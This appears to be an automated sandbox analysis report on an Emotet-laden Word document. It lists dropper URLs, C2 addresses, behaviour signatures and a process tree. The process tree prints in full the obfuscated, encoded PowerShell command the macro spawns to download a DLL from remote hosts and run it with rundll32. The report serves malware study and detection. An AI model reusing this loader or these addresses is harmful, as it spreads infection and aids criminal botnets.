Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    22/12/2020, 10:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_44567a5fc7455899c29966d8b05b823a60aa48487ed47b4ee9262fbd73bb6a1d_2020-12-22__103725934710._doc.doc
  • Size 201KB
  • Sample201222-7a4eza44za
  • SHA256 44567a5fc7455899c29966d8b05b823a60aa48487ed47b4ee9262fbd73bb6a1d
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://countsquare.com/standardservices/mnR4/
  • exe.dropper

    https://heaventoearth.com/360views/xu/
  • exe.dropper

    http://jpkiselavoda.mk/advertising/Pl1SS/
  • exe.dropper

    http://infosisconsultancy.com/wp-includes/d60/
  • exe.dropper

    https://genzmag.com/ratings/VQ8n/
  • exe.dropper

    https://qualcommmedia.com/wp-includes-old/m4/
  • exe.dropper

    http://ko-racingshop.com/account-eu/Y6W/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 197.87.160.216:80

  • 78.188.225.105:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 188.219.31.12:80

  • 157.245.99.39:8080

  • 172.125.40.123:80

  • 62.30.7.67:443

  • 120.150.60.189:80

  • 109.74.5.95:8080

  • 67.10.155.92:80

  • 67.170.250.203:443

  • 2.58.16.89:8080

  • 186.74.215.34:80

  • 202.141.243.254:443

  • 118.83.154.64:443

  • 172.86.188.251:8080

  • 37.187.72.193:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_44567a5fc7455899c29966d8b05b823a60aa48487ed47b4ee9262fbd73bb6a1d_2020-12-22__103725934710._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1668
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwAJwBTAHkAcwB0ACcALAAnAEUAJwApACAAIAA7ACAAUwBlAHQALQBpAFQAZQBtACAAIABWAGEAcgBpAGEAYgBMAGUAOgA5ADMANgAgACgAIAAgAFsAVAB5AFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACcAZQBNAC4ATgBFAHQALgBzACcALAAnAHkAUwB0ACcALAAnAFMAJwAsACcAcgBWAGkAQwBlAHAAbwBJAE4AVABtAEEATgBhAEcARQBSACcALAAnAEUAJwApACkAOwAgACQATQBzAGYAOQBqAHkAaQA9ACgAKAAnAEoAJwArACcANAB0AGMAJwApACsAJwBhAGEAJwArACcAagAnACkAOwAkAEQAbAB1ADMAaQB6AGcAPQAkAFgANgByAHIAMAA0ADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcANABiADkANQBjAGEAOwAkAFkAMgBrADEAdABqADIAPQAoACgAJwBaACcAKwAnADgAMgAnACkAKwAnAG0AJwArACgAJwBnACcAKwAnADgAMwAnACkAKQA7ACAAIAAkADYASgBwADkAOgA6ACIAQwByAGAAZQBhAFQARQBgAGQASQByAEUAYwBgAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBBAGgANABmAGYAMQAnACsAJwBfAHsAMAB9ACcAKwAoACcASwAnACsAJwB2AG8AJwApACsAKAAnAGoAYwAnACsAJwA4ACcAKQArACcAbwB7ADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAEkAdwBtAGkAcAA4ADYAPQAoACgAJwBRACcAKwAnAHcAMQByACcAKQArACgAJwB4AGsAJwArACcAYwAnACkAKQA7ACAAIAAoACAAZwBlAFQALQBJAFQARQBtACAAdgBBAHIAaQBhAGIAbABFADoAOQAzADYAIAAgACkALgBWAEEATABVAGUAOgA6ACIAcwBFAGAAYwBVAFIASQB0AGAAWQBwAHIAYABPAFQATwBjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVABsAGYAagAxAHQAagA9ACgAJwBDACcAKwAnAGUAJwArACgAJwB0ACcAKwAnAGIAYgB0AG4AJwApACkAOwAkAEcAaAB2AHEAdABpAGwAIAA9ACAAKAAoACcAQQB4ACcAKwAnAHcAJwApACsAJwBpACcAKwAoACcAMgA0ACcAKwAnADQAJwApACkAOwAkAFcAdwBkADkAdQBqADEAPQAoACgAJwBXAHEAJwArACcAdgA3ACcAKQArACgAJwAyACcAKwAnAHMAegAnACkAKQA7ACQASgB6AGUAbABvADQAeAA9ACgAKAAnAEcAJwArACcAbgBxAF8AJwApACsAJwB6ACcAKwAnADUAdgAnACkAOwAkAE0AZAA1AHMAegAzADkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAaAA0ACcAKwAnAGYAJwApACsAJwBmADEAXwB7ACcAKwAnADAAfQBLAHYAbwBqAGMAOABvACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQArACQARwBoAHYAcQB0AGkAbAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE4AZQBvAGUAcQBsAGUAPQAoACcASwAnACsAKAAnADUAZwAnACsAJwB3ADkAJwApACsAJwBzAHYAJwApADsAJABJAGgAYwA3AG0AOABwAD0AbgBFAGAAVwBgAC0AbwBCAGoAYABlAGAAYwB0ACAATgBlAFQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUABxAHMAcABmADUAZQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAKAAnAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoAGMAbwB1ACcAKQApACsAJwBuACcAKwAnAHQAcwAnACsAJwBxAHUAJwArACgAJwBhACcAKwAnAHIAZQAnACkAKwAoACgAJwAuAGMAJwArACcAbwBtAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAHMAdABhACcAKQApACsAKAAnAG4AZABhAHIAJwArACcAZAAnACkAKwAoACcAcwBlAHIAdgAnACsAJwBpAGMAJwApACsAKAAoACcAZQBzAHEAcQAnACsAJwApACcAKwAnACgAcwAyACcAKwAnACkAKABtACcAKwAnAG4AUgAnACsAJwA0ACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKABAAGgAdAB0ACcAKwAnAHAAJwApACkAKwAnAHMAJwArACcAOgAnACsAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBxAHEAKQAoAHMAJwArACcAMgAnACsAJwApACcAKwAnACgAaABlACcAKQApACsAKAAnAGEAdgBlAG4AdAAnACsAJwBvAGUAYQAnACkAKwAoACgAJwByACcAKwAnAHQAaAAuACcAKwAnAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKwAnACkAKAAzACcAKQApACsAJwA2ADAAJwArACgAKAAnAHYAaQBlAHcAcwAnACsAJwBxAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAB4AHUAcQBxACkAKAAnACsAJwBzADIAJwArACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAoACcAdABwACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAJwArACcAKQAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAagBwAGsAaQBzAGUAJwArACcAbAAnACkAKQArACgAJwBhAHYAbwBkACcAKwAnAGEAJwArACcALgBtAGsAcQBxACcAKQArACcAKQAnACsAKAAoACcAKABzADIAKQAoAGEAJwArACcAZAB2ACcAKQApACsAKAAnAGUAJwArACcAcgB0ACcAKQArACcAaQBzACcAKwAoACgAJwBpAG4AZwBxAHEAKQAoACcAKwAnAHMAMgAnACsAJwApACgAJwArACcAUAAnACsAJwBsADEAJwArACcAUwBTAHEAcQApACgAcwAyACkAKABAAGgAJwArACcAdAAnACkAKQArACgAJwB0AHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKABxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAcwAnACsAJwAyACkAKAAnACsAJwBpAG4AZgAnACkAKQArACcAbwBzACcAKwAoACcAaQBzAGMAbwBuAHMAJwArACcAdQBsACcAKQArACgAJwB0AGEAJwArACcAbgBjACcAKQArACcAeQAnACsAJwAuAGMAJwArACgAKAAnAG8AbQBxAHEAKQAoACcAKwAnAHMAMgApACgAdwAnACsAJwBwACcAKQApACsAKAAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAcQBxACkAJwApACkAKwAnACgAJwArACcAcwAnACsAKAAoACcAMgAnACsAJwApACgAZAA2ADAAcQBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACsAKAAnAEAAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACcAZwAnACsAJwBlAG4AJwApACsAKAAnAHoAbQAnACsAJwBhAGcAJwApACsAJwAuACcAKwAoACgAJwBjAG8AJwArACcAbQBxAHEAKQAoAHMAJwArACcAMgApACgAcgBhAHQAJwArACcAaQBuACcAKQApACsAKAAoACcAZwBzAHEAcQAnACsAJwApACgAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoAFYAJwApACkAKwAoACcAUQA4ACcAKwAnAG4AcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoACcAKwAnAHQAdABwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACcAdQBhACcAKwAnAGwAYwBvAG0AJwArACcAbQBtAGUAJwArACcAZABpAGEALgBjACcAKQArACcAbwAnACsAKAAoACcAbQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgApACgAJwArACcAdwBwACcAKQApACsAJwAtAGkAJwArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzAC0AbwBsAGQAJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKwAoACgAJwBtADQAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACsAJwBxAHEAKQAoAHMAMgApACgAJwArACcAawBvAC0AJwApACkAKwAoACcAcgBhACcAKwAnAGMAJwApACsAKAAnAGkAbgAnACsAJwBnAHMAJwApACsAJwBoAG8AJwArACcAcAAnACsAKAAnAC4AYwAnACsAJwBvAG0AcQAnACkAKwAoACgAJwBxACkAKABzADIAKQAoACcAKwAnAGEAJwArACcAYwAnACkAKQArACcAYwAnACsAKAAoACcAbwAnACsAJwB1AG4AJwArACcAdAAtAGUAdQBxAHEAKQAnACkAKQArACgAKAAnACgAJwArACcAcwAyACkAKAAnACkAKQArACgAJwBZADYAJwArACcAVwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoAHMAMgAnACsAJwApACgAJwApACkAKQApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACgAKAAnAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAATABpAFQAIgAoACQAWQA0ADYAYgB6AHMAeAAgACsAIAAkAEQAbAB1ADMAaQB6AGcAIAArACAAJABZAF8AegBnADUAMgBhACkAOwAkAFcAdwBtAHgAZQB1AG0APQAoACcATwAnACsAKAAnAGsAOAAnACsAJwB1ACcAKQArACgAJwB3ACcAKwAnAGEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAB6ADcAeQBvAHUANAAgAGkAbgAgACQAUABxAHMAcABmADUAZQAgAHwAIABTAG8AcgB0AGAALQBgAE8AYABCAEoAYABlAEMAdAAgAHsARwBgAGUAdAAtAHIAYQBuAGQAYABvAG0AfQApAHsAdAByAHkAewAkAEkAaABjADcAbQA4AHAALgAiAEQAbwBXAGAATgBgAGwATwBBAGQARgBpAEwAZQAiACgAJABEAHoANwB5AG8AdQA0ACwAIAAkAE0AZAA1AHMAegAzADkAKQA7ACQAVQA4AGIANwBfAHQAagA9ACgAKAAnAE0AJwArACcAbABmAHIAdwAnACsAJwAwACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBkADUAcwB6ADMAOQApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADQAMwAyADkAMwApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABNAGQANQBzAHoAMwA5ACwAJwAjADEAJwAuACIAVABgAE8AcwBUAGAAUgBJAE4AZwAiACgAKQA7ACQARQAzAGwAZgAwAHAAbwA9ACgAJwBVACcAKwAoACcAcwAnACsAJwBwAHYAYwBxADkAJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbgA4AHoAZgBiAGwAPQAoACgAJwBJAGUAJwArACcANAAnACkAKwAoACcAbwA3AHEAJwArACcAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAxAHEAagA2AHYANQA9ACgAKAAnAFEAcAAnACsAJwBnAGIANgAnACkAKwAnAHEAcAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwAJwBTAHkAcwB0ACcALAAnAEUAJwApACAAIAA7ACAAUwBlAHQALQBpAFQAZQBtACAAIABWAGEAcgBpAGEAYgBMAGUAOgA5ADMANgAgACgAIAAgAFsAVAB5AFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACcAZQBNAC4ATgBFAHQALgBzACcALAAnAHkAUwB0ACcALAAnAFMAJwAsACcAcgBWAGkAQwBlAHAAbwBJAE4AVABtAEEATgBhAEcARQBSACcALAAnAEUAJwApACkAOwAgACQATQBzAGYAOQBqAHkAaQA9ACgAKAAnAEoAJwArACcANAB0AGMAJwApACsAJwBhAGEAJwArACcAagAnACkAOwAkAEQAbAB1ADMAaQB6AGcAPQAkAFgANgByAHIAMAA0ADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcANABiADkANQBjAGEAOwAkAFkAMgBrADEAdABqADIAPQAoACgAJwBaACcAKwAnADgAMgAnACkAKwAnAG0AJwArACgAJwBnACcAKwAnADgAMwAnACkAKQA7ACAAIAAkADYASgBwADkAOgA6ACIAQwByAGAAZQBhAFQARQBgAGQASQByAEUAYwBgAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBBAGgANABmAGYAMQAnACsAJwBfAHsAMAB9ACcAKwAoACcASwAnACsAJwB2AG8AJwApACsAKAAnAGoAYwAnACsAJwA4ACcAKQArACcAbwB7ADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAEkAdwBtAGkAcAA4ADYAPQAoACgAJwBRACcAKwAnAHcAMQByACcAKQArACgAJwB4AGsAJwArACcAYwAnACkAKQA7ACAAIAAoACAAZwBlAFQALQBJAFQARQBtACAAdgBBAHIAaQBhAGIAbABFADoAOQAzADYAIAAgACkALgBWAEEATABVAGUAOgA6ACIAcwBFAGAAYwBVAFIASQB0AGAAWQBwAHIAYABPAFQATwBjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVABsAGYAagAxAHQAagA9ACgAJwBDACcAKwAnAGUAJwArACgAJwB0ACcAKwAnAGIAYgB0AG4AJwApACkAOwAkAEcAaAB2AHEAdABpAGwAIAA9ACAAKAAoACcAQQB4ACcAKwAnAHcAJwApACsAJwBpACcAKwAoACcAMgA0ACcAKwAnADQAJwApACkAOwAkAFcAdwBkADkAdQBqADEAPQAoACgAJwBXAHEAJwArACcAdgA3ACcAKQArACgAJwAyACcAKwAnAHMAegAnACkAKQA7ACQASgB6AGUAbABvADQAeAA9ACgAKAAnAEcAJwArACcAbgBxAF8AJwApACsAJwB6ACcAKwAnADUAdgAnACkAOwAkAE0AZAA1AHMAegAzADkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAaAA0ACcAKwAnAGYAJwApACsAJwBmADEAXwB7ACcAKwAnADAAfQBLAHYAbwBqAGMAOABvACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQArACQARwBoAHYAcQB0AGkAbAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE4AZQBvAGUAcQBsAGUAPQAoACcASwAnACsAKAAnADUAZwAnACsAJwB3ADkAJwApACsAJwBzAHYAJwApADsAJABJAGgAYwA3AG0AOABwAD0AbgBFAGAAVwBgAC0AbwBCAGoAYABlAGAAYwB0ACAATgBlAFQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUABxAHMAcABmADUAZQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAKAAnAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoAGMAbwB1ACcAKQApACsAJwBuACcAKwAnAHQAcwAnACsAJwBxAHUAJwArACgAJwBhACcAKwAnAHIAZQAnACkAKwAoACgAJwAuAGMAJwArACcAbwBtAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAHMAdABhACcAKQApACsAKAAnAG4AZABhAHIAJwArACcAZAAnACkAKwAoACcAcwBlAHIAdgAnACsAJwBpAGMAJwApACsAKAAoACcAZQBzAHEAcQAnACsAJwApACcAKwAnACgAcwAyACcAKwAnACkAKABtACcAKwAnAG4AUgAnACsAJwA0ACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKABAAGgAdAB0ACcAKwAnAHAAJwApACkAKwAnAHMAJwArACcAOgAnACsAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBxAHEAKQAoAHMAJwArACcAMgAnACsAJwApACcAKwAnACgAaABlACcAKQApACsAKAAnAGEAdgBlAG4AdAAnACsAJwBvAGUAYQAnACkAKwAoACgAJwByACcAKwAnAHQAaAAuACcAKwAnAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKwAnACkAKAAzACcAKQApACsAJwA2ADAAJwArACgAKAAnAHYAaQBlAHcAcwAnACsAJwBxAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAB4AHUAcQBxACkAKAAnACsAJwBzADIAJwArACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAoACcAdABwACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAJwArACcAKQAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAagBwAGsAaQBzAGUAJwArACcAbAAnACkAKQArACgAJwBhAHYAbwBkACcAKwAnAGEAJwArACcALgBtAGsAcQBxACcAKQArACcAKQAnACsAKAAoACcAKABzADIAKQAoAGEAJwArACcAZAB2ACcAKQApACsAKAAnAGUAJwArACcAcgB0ACcAKQArACcAaQBzACcAKwAoACgAJwBpAG4AZwBxAHEAKQAoACcAKwAnAHMAMgAnACsAJwApACgAJwArACcAUAAnACsAJwBsADEAJwArACcAUwBTAHEAcQApACgAcwAyACkAKABAAGgAJwArACcAdAAnACkAKQArACgAJwB0AHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKABxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAcwAnACsAJwAyACkAKAAnACsAJwBpAG4AZgAnACkAKQArACcAbwBzACcAKwAoACcAaQBzAGMAbwBuAHMAJwArACcAdQBsACcAKQArACgAJwB0AGEAJwArACcAbgBjACcAKQArACcAeQAnACsAJwAuAGMAJwArACgAKAAnAG8AbQBxAHEAKQAoACcAKwAnAHMAMgApACgAdwAnACsAJwBwACcAKQApACsAKAAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAcQBxACkAJwApACkAKwAnACgAJwArACcAcwAnACsAKAAoACcAMgAnACsAJwApACgAZAA2ADAAcQBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACsAKAAnAEAAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACcAZwAnACsAJwBlAG4AJwApACsAKAAnAHoAbQAnACsAJwBhAGcAJwApACsAJwAuACcAKwAoACgAJwBjAG8AJwArACcAbQBxAHEAKQAoAHMAJwArACcAMgApACgAcgBhAHQAJwArACcAaQBuACcAKQApACsAKAAoACcAZwBzAHEAcQAnACsAJwApACgAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoAFYAJwApACkAKwAoACcAUQA4ACcAKwAnAG4AcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoACcAKwAnAHQAdABwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACcAdQBhACcAKwAnAGwAYwBvAG0AJwArACcAbQBtAGUAJwArACcAZABpAGEALgBjACcAKQArACcAbwAnACsAKAAoACcAbQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgApACgAJwArACcAdwBwACcAKQApACsAJwAtAGkAJwArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzAC0AbwBsAGQAJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKwAoACgAJwBtADQAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACsAJwBxAHEAKQAoAHMAMgApACgAJwArACcAawBvAC0AJwApACkAKwAoACcAcgBhACcAKwAnAGMAJwApACsAKAAnAGkAbgAnACsAJwBnAHMAJwApACsAJwBoAG8AJwArACcAcAAnACsAKAAnAC4AYwAnACsAJwBvAG0AcQAnACkAKwAoACgAJwBxACkAKABzADIAKQAoACcAKwAnAGEAJwArACcAYwAnACkAKQArACcAYwAnACsAKAAoACcAbwAnACsAJwB1AG4AJwArACcAdAAtAGUAdQBxAHEAKQAnACkAKQArACgAKAAnACgAJwArACcAcwAyACkAKAAnACkAKQArACgAJwBZADYAJwArACcAVwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoAHMAMgAnACsAJwApACgAJwApACkAKQApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACgAKAAnAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAATABpAFQAIgAoACQAWQA0ADYAYgB6AHMAeAAgACsAIAAkAEQAbAB1ADMAaQB6AGcAIAArACAAJABZAF8AegBnADUAMgBhACkAOwAkAFcAdwBtAHgAZQB1AG0APQAoACcATwAnACsAKAAnAGsAOAAnACsAJwB1ACcAKQArACgAJwB3ACcAKwAnAGEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAB6ADcAeQBvAHUANAAgAGkAbgAgACQAUABxAHMAcABmADUAZQAgAHwAIABTAG8AcgB0AGAALQBgAE8AYABCAEoAYABlAEMAdAAgAHsARwBgAGUAdAAtAHIAYQBuAGQAYABvAG0AfQApAHsAdAByAHkAewAkAEkAaABjADcAbQA4AHAALgAiAEQAbwBXAGAATgBgAGwATwBBAGQARgBpAEwAZQAiACgAJABEAHoANwB5AG8AdQA0ACwAIAAkAE0AZAA1AHMAegAzADkAKQA7ACQAVQA4AGIANwBfAHQAagA9ACgAKAAnAE0AJwArACcAbABmAHIAdwAnACsAJwAwACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBkADUAcwB6ADMAOQApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADQAMwAyADkAMwApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABNAGQANQBzAHoAMwA5ACwAJwAjADEAJwAuACIAVABgAE8AcwBUAGAAUgBJAE4AZwAiACgAKQA7ACQARQAzAGwAZgAwAHAAbwA9ACgAJwBVACcAKwAoACcAcwAnACsAJwBwAHYAYwBxADkAJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbgA4AHoAZgBiAGwAPQAoACgAJwBJAGUAJwArACcANAAnACkAKwAoACcAbwA3AHEAJwArACcAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAxAHEAagA2AHYANQA9ACgAKAAnAFEAcAAnACsAJwBnAGIANgAnACkAKwAnAHEAcAAnACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1524
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ah4ff1_\Kvojc8o\Axwi244.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1904
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ah4ff1_\Kvojc8o\Axwi244.dll #1
